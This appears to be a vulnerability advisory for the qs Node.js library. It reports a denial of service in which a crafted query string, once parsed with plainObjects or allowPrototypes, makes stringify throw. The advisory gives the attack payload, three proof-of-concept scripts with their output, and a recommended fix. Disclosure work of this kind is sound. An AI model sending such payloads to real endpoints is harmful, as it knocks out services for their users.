qs: Denial of Service via Attacker Controlled isBuffer

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');

Execution Steps

cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1

Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Recommended Fix

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.